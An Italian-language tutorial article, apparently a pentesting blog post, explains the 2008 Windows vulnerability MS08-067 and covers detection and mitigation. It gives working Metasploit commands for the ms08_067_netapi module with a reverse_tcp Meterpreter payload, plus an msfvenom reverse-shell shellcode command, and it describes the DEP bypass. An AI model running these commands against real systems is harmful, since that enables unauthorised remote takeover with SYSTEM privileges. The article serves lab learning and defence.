networking

MS08-067: cos'è, RCE Windows e exploit Metasploit

MS08-067: cos'è, RCE Windows e exploit Metasploit

MS08-067: cos'è, come funziona e perché è una delle RCE Windows più note. Scopri Server Service, NetAPI, SMB, Metasploit, detection e mitigazioni.

  • Pubblicato il 2026-09-16
  • Tempo di lettura: 4 min

MS08-067: cos’è, come funziona e come sfruttarla con Metasploit #

MS08-067 è una vulnerabilità critica di Remote Code Execution (RCE) nel Windows Server Service, corretta da Microsoft nel 2008. Sfruttando una richiesta RPC appositamente costruita attraverso SMB, un attaccante non autenticato può eseguire codice da remoto con privilegi SYSTEM su un sistema Windows vulnerabile.

La vulnerabilità è diventata uno degli esempi più conosciuti di Windows exploitation, anche grazie alla presenza di un modulo dedicato in Metasploit. È inoltre una vulnerabilità ricorrente nei laboratori di penetration testing come HackTheBox, perché permette di studiare concretamente il rapporto tra SMB, RPC, memory corruption e Remote Code Execution.

Cos’è MS08-067 e perché è così importante #

MS08-067 è il nome della patch Microsoft (2008) che ha corretto un bug nel Server Service di Windows, un componente che gira su ogni macchina Windows e gestisce, tra le altre cose, la condivisione di file e stampanti via SMB.

Il bug si trova in una funzione che riceve una richiesta RPC (una sorta di “chiamata di funzione a distanza”) chiamata NetPathCanonicalize, raggiungibile tramite named pipe SMB (\PIPE\browser o \PIPE\srvsvc) — in pratica canali di comunicazione dentro la stessa connessione SMB usata per condividere file. Se costruisci un percorso file malformato in un certo modo, quella funzione scrive dati oltre i confini previsti nella memoria del processo (una stack corruption), e da lì un attaccante riesce a far eseguire codice arbitrario.

La cosa che rende questo bug devastante è che il Server Service gira come SYSTEM, l’account con i privilegi più alti su Windows. Quindi non serve nessuna escalation successiva: se l’exploit va a segno, hai già il controllo completo della macchina, senza username né password. Colpiva Windows 2000, XP, Server 2003 e alcune build iniziali di Vista/Server 2008 — un parco macchine così vasto nel 2008 che il worm Conficker lo ha usato per infettare milioni di computer in tutto il mondo.


Prima di tutto: conferma che sia davvero vulnerabile #

Prima di lanciare qualsiasi exploit, conviene sempre verificare che la macchina sia davvero esposta, con uno script Nmap dedicato:

bash
nmap -p 445 --script smb-vuln-ms08-067 TARGET

Questo script non si limita a leggere il banner del servizio: prova attivamente il percorso di codice vulnerabile, quindi il risultato VULNERABLE è piuttosto affidabile. Questo passaggio non va saltato: lanciare l’exploit “alla cieca” su una macchina non compatibile può far crashare il Server Service — e con lui una dozzina di altri servizi Windows che girano nello stesso processo — rendendo la macchina instabile per i tentativi successivi. Lo stesso principio di “verifica prima di sparare” vale anche quando enumeri altri servizi esposti, come raccontiamo nella guida alla porta 2375 di Docker.


Exploitation con Metasploit #

Il modulo di riferimento è exploit/windows/smb/ms08_067_netapi:

text
msfconsole
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS TARGET
msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST TUA_IP
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

Punti chiave del modulo:

  • SMBPIPE: opzione che indica quale named pipe usare (BROWSER o SRVSVC) — se un target non risponde con una, prova l’altra
  • Il target selection è critico: il modulo deve conoscere l’esatta build/service pack per calcolare i return address corretti; una selezione sbagliata è la causa più comune di crash senza shell
  • Al successo ottieni una sessione Meterpreter come SYSTEM direttamente, senza bisogno di ulteriore escalation

Cosa succede sotto il cofano (in breve) #

L’exploit costruisce una richiesta RPC con un path che, una volta processato dalla routine di canonicalizzazione vulnerabile, sovrascrive l’indirizzo di ritorno sullo stack. Il payload deve rispettare un set di bad character (byte che romperebbero la stringa di path, es. \x00 \x0a \x0d \x5c \x5f \x2f \x2e \x40) generato con msfvenom:

bash
msfvenom -p windows/shell_reverse_tcp LHOST=TUA_IP -e x86/jmp_call_additive \
  -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python

Su sistemi con DEP attivo, l’exploit include un bypass ad-hoc: ritorna a una funzione dentro acgenral.dll che disabilita DEP per il processo prima di eseguire lo shellcode. È uno degli esempi didattici migliori di come un ROP/return-into-lib rudimentale possa girare attorno a una mitigazione senza una vera ROP chain moderna.


Perché la trovi ancora oggi (HTB, VulnLab, lab) #

  • È la macchina “Easy” per definizione per chi impara SMB/RPC exploitation e Metasploit da zero
  • Il check è affidabile: capire se funzionerà prima di lanciarla è parte della lezione (a differenza di molte CVE moderne, dove il check è spesso passivo/impreciso)
  • Insegna concetti riutilizzabili: canonicalizzazione di path, RPC over SMB, bad character, target-specific return address — tutti temi che tornano in altre classi di vulnerabilità Windows

Detection & Blue Team #

  • Un IDS/IPS di rete con signature per RPC anomalo su SMB (porta 445) intercetta il traffico di sfruttamento
  • Il patch (MS08-067, ottobre 2008) è disponibile da oltre 15 anni: la presenza della vulnerabilità in produzione oggi è sintomo di gestione patch totalmente assente, non un rischio “zero-day”
  • Disabilitare SMBv1 dove non serve riduce la superficie d’attacco complessiva, anche verso altre vulnerabilità simili (es. EternalBlue)
  • Segmentazione di rete: Server Service e RPC non dovrebbero essere raggiungibili da subnet non fidate

Domande frequenti #

MS08-067 richiede credenziali? No, è pre-autenticazione: basta raggiungere la porta 445 e il Server Service vulnerabile.

Funziona su Windows moderni (10/11, Server 2019+)? No, riguarda Windows 2000/XP/Server 2003 e alcune build iniziali di Vista/Server 2008, tutte patchate dal 2008. La trovi solo su VM volutamente datate o in lab di apprendimento.

Perché a volte il target va in crash invece di darmi una shell? Quasi sempre per un target/return-address sbagliato nel modulo Metasploit rispetto alla build esatta del SO — verifica sempre versione e service pack prima di lanciare l’exploit.


Anche qui, una volta ottenuta la shell SYSTEM, quello che conta davvero è cosa ne fai: la nostra guida alla post-exploitation copre i passi successivi, e collocare questo exploit dentro il quadro generale di un attacco ti aiuta a ragionare meglio — ne parliamo nell’articolo sulla Cyber Kill Chain.

killchainPer approfondire #


Articolo a scopo didattico. Tecniche testate su ambienti autorizzati come HackTheBox, VulnLab e lab personali.

#ms08-067 #netapi #smb #metasploit #windows-xp

lascia un messaggio

Non sono un robot